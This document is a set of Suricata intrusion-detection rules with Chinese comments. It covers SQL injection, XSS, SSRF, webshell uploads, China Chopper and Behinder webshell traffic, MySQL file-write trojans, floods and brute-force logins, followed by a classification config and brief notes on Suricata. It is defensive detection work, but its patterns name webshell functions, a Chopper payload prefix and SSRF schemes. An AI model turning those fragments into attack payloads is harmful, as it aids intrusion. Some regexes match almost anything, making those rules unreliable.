#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "频繁404,疑似扫描"; content: "404"; http_stat_code; threshold: type threshold, track by_src, count 5, seconds 10; classtype: web-scan-attack; sid: 601001; rev: 1; )
#SQL注入攻击-URI关键字
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击-select"; content: "select"; http_uri; classtype: web-sql-injection; sid: 611000; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击-单引号"; content: "|27|"; http_uri; classtype: web-sql-injection; sid: 611001; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击-双引号"; content: "|22|"; http_uri; classtype: web-sql-injection; sid: 611002; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击-SQL注释"; content: "--"; http_uri; pcre: "/\+*|\s*/i"; classtype: web-sql-injection; sid: 611003; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击POST-SQL注释"; content: "="; http.request_body; pcre: "/\+*|\s*/i"; http.content_type; content: "x-www-form-urlencoded"; classtype: web-sql-injection; sid: 611004; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击-select|union|from"; content: "/"; http_uri; pcre: "/select|union|from|%20and%20/i"; classtype: web-sql-injection; sid: 611005; rev: 1; )
#IPS
drop http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击-database()"; content: "database()"; http_uri; classtype: web-sql-injection; sid: 611006; rev: 1; )
#XSS攻击
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "XSS-<script"; content: "<script"; http_uri; nocase; classtype: web-xss-attack; sid: 620001; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "XSS-</script"; content: "</script"; http_uri; nocase; classtype: web-xss-attack; sid: 620002; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "XSS-javascript"; content: "javascript"; http_uri; nocase; classtype: web-xss-attack; sid: 620003; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "XSS-alert"; content: "alert"; http_uri; nocase; classtype: web-xss-attack; sid: 620004; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "XSS-onload="; content: "onload="; http_uri; nocase; classtype: web-xss-attack; sid: 620005; rev: 1; )
#SSRF攻击
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SSRF-file:"; content: "file|3A|"; http_uri; nocase; classtype: web-ssrf-attack; sid: 630001; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SSRF-http:"; content: "http|3A|"; http_uri; nocase; classtype: web-ssrf-attack; sid: 630002; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SSRF-https:"; content: "https|3A|"; http_uri; nocase; classtype: web-ssrf-attack; sid: 630003; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SSRF-dict:"; content: "dict|3A|"; http_uri; nocase; classtype: web-ssrf-attack; sid: 630004; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SSRF-gopher:"; content: "gopher|3A|"; http_uri; nocase; classtype: web-ssrf-attack; sid: 630005; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SSRF-phar:"; content: "phar|3A|"; http_uri; nocase; classtype: web-ssrf-attack; sid: 630006; rev: 1; )
#登录爆破
#alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: "Web登录爆破"; content: "login.php"; http_uri; threshold: type threshold, track by_src, count 3, seconds 20; sid: 111111; )
#alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: "Web登录爆破"; content: "login.html"; http_uri; threshold: type threshold, track by_src, count 3, seconds 20; sid: 111112; )
#文件上传
#alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "文件正常上传-1"; filestore; classtype: web-file-upload; sid: 614000; rev: 1; )
#alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "文件正常上传-2"; http.method; content: "POST"; http.content_type; content: "multipart/form-data"; http.request_body; content: "Content-Disposition"; filestore; classtype: web-file-upload; sid: 614001; rev: 1; )
#alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "PHP木马上传"; content: "<?"; http.content_type; content: "multipart/form-data"; http.request_body; pcre: "/eval|assert|system\(exec|$_POST|$_GET\)/i"; filestore; classtype: web-file-upload; sid: 614002; rev: 1; )
#drop http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "木马上传"; content: "<?"; http.content_type; content: "multipart/form-data"; http.request_body; pcre: "/eval|assert|system\(exec|$_POST|$_GET\)/i"; filestore; classtype: web-file-upload; sid: 614003; rev: 1; )
#菜刀
#alert http $EXTERNAL_NET any <> $HOME_NET $VAUDIT_PORTS (msg: "菜刀连接-响应"; http.response_body; content: "|58 40 59|"; startswith; content: "|58 40 59|"; endswith; sid: 614011; rev: 1; )
#alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "菜刀连接-请求"; content: "|61 72 72 61 79 5f 6d 61 70|"; http_client_body; pcre: "/array.+ev.+Al/i"; sid: 614012; rev: 1; )
#alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "菜刀连接-base64"; content: "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZih"; http_client_body; sid: 614013; rev: 1; )
#冰蝎
alert http $EXTERNAL_NET any <> $HOME_NET $VAUDIT_PORTS (msg: "冰蝎连接-user_agent"; content: "Baiduspider"; http_user_agent; sid: 614020; rev: 1; )
alert tcp $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "疑似冰蝎流量-长度"; dsize: >1000; sid: 614021; rev: 1; )
alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "冰蝎连接-POST前100无等于号"; http.request_body; content: !"="; depth: 100; sid: 614022; rev: 1; )
alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "冰蝎连接-POST请求正文为base64"; http.request_body; pcre: "/^[A-Za-z0-9\+\/]{1000,}=*$/"; sid: 614023; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $VAUDIT_PORTS (msg: "冰蝎连接-POST响应正文为base64"; http.response_body; pcre: "/^[A-Za-z0-9\+\/]{1000,}=*$/"; sid: 614024; rev: 1; )
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg: "ICMP 5s10次,每次超过48,疑似ICMP泛洪"; dsize: >48; threshold: type threshold, track by_src, count 10, seconds 5; sid: 620000; rev: 1; )
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg: "疑似建立ICMP隧道"; dsize: 106; sid: 620001; rev: 1; )
#alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "TCP泛洪"; flow: established, to_server; threshold: type threshold, track by_src, count 5, seconds 10; sid: 621000; rev: 1; )
#alert tcp $EXTERNAL_NET 10000 -> $HOME_NET 0:1023 (msg: "SYN泛洪"; flags:S; flow: to_server; dsize:>100; threshold: type both, count 5, seconds 10, track by_src; sid: 621001; rev: 1; )
#MYSQL
alert tcp $EXTERNAL_NET any <> $HOME_NET $MYSQL_PORTS (msg: "MYSQL登录失败-直接匹配"; content: "Access denied for user"; nocase; sid: 630000; rev: 1; )
alert tcp $EXTERNAL_NET any <> $HOME_NET $MYSQL_PORTS (msg: "MYSQL登录失败-直接匹配-10s失败3次"; content: "Access denied for user"; nocase; threshold: type threshold, track by_src, count 3, seconds 10; sid: 630001; rev: 1; )
alert tcp $EXTERNAL_NET any <> $HOME_NET $MYSQL_PORTS (msg: "MYSQL登录失败-16进制匹配"; content: "|41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72|"; nocase; sid: 630002; rev: 1; )
alert tcp $EXTERNAL_NET any <> $HOME_NET $MYSQL_PORTS (msg: "MYSQL登录失败-直接匹配-10s失败3次"; content: "|41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72|"; nocase; threshold: type threshold, track by_src, count 3, seconds 10; sid: 630003; rev: 1; )
drop tcp $EXTERNAL_NET any <> $HOME_NET $MYSQL_PORTS (msg: "MYSQL登录失败-直接匹配-10s失败5次"; content: "|41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72|"; nocase; threshold: type threshold, track by_src, count 3, seconds 10; sid: 630004; rev: 1; )
#MYSQL写入木马
alert tcp $EXTERNAL_NET any -> $HOME_NET $MYSQL_PORTS (msg: "MYSQL写入木马"; content: "into outfile"; nocase; pcre: "/system|eval|assert|$_GET|$_POST/i"; sid: 630005; rev: 1; )
#SSH登录失败
alert ssh $EXTERNAL_NET any <> $HOME_NET $SSH_PORTS (msg: "SSH登录"; content: "|15 00 00 00 00 00 00 00 00 00 00|"; nocase; sid: 640000; rev: 1; )
alert ssh $EXTERNAL_NET any <> $HOME_NET $SSH_PORTS (msg: "SSH爆破"; content: "|15 00 00 00 00 00 00 00 00 00 00|"; nocase; threshold: type threshold, track by_src, count 3, seconds 10; sid: 640001; rev: 1; )
classification.config完整定级
# HTTP Protocol
config classification: http-status-404, Web服务器出现404, 4
config classification: web-url-scan, 疑似出现url爬虫扫描,2
# 用户自定义
config classification: http-status-error, Web服务器状态异常, 4
config classification: web-scan-attack, Web页面扫描攻击, 2
config classification: web-sql-injection, SQL注入攻击, 1
config classification: web-xss-attack, XSS攻击, 2
config classification: web-ssrf-attack, SSRF请求伪造攻击, 2
config classification: web-shell-attack, 站点木马植入, 1
config classification: web-file-upload, 文件上传异常, 2
config classification: web-other-alert, 服务器潜在风险, 2
suricata规则示例
\suricata\rules\
suricata能帮我们解决的问题?
1.监控。串行在网络中,或者流量镜像,目标主要是从入和出的网络流量中分析特征(请求头、请求正文等),和wazuh不同的是,可以在事前进行一些响应,更偏向于IPS
2.规则。根据规则对流量特征进行匹配
3.响应。根据规则结果进行reject、alert、drop等操作